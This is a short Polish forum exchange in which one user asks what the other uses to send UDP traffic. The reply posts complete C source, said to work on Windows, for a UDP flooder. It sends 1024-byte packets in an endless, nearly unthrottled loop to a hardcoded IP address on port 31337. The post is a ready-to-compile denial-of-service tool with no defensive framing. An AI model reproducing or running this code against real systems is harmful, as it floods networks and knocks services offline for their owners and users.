napisz wkońcu czym wysyłasz te UDP
nie testowalem na unixie, na windzie dziala
Kod:
/*win: gcc udp.c -o udp -lws2_32
unix: gcc udp.c -o udp.exe*/
#define BUFFSIZE 1024
#define SLEEP 35
#ifndef SOCKET_ERROR
#define SOCKET_ERROR -1
#endif
#ifdef __unix__
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <stdlib.h>
#else
#include <winsock2.h>
#endif
int main(){
struct sockaddr_in sinf;
int sock;
int *ptr;
#ifndef __unix__
WSADATA dos;
WSAStartup(0x0202,&dos);
#endif
sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sinf.sin_family=AF_INET;
sinf.sin_addr.s_addr = inet_addr("31.33.76.66");
sinf.sin_port = htons(31337);
memset(sinf.sin_zero,0,sizeof(sinf.sin_zero));
ptr=malloc(BUFFSIZE);
memset(ptr,0,BUFFSIZE);
while(sendto(sock,(char*)ptr,BUFFSIZE,0,(struct sockaddr*)&sinf,sizeof( struct sockaddr))!=SOCKET_ERROR)
#ifdef __unix__
usleep(SLEEP);
#else
Sleep(SLEEP);
#endif
free(ptr);
#ifdef __unix__
close(sock);
#else
closesocket(sock);
WSACleanup();
#endif
return 0;
}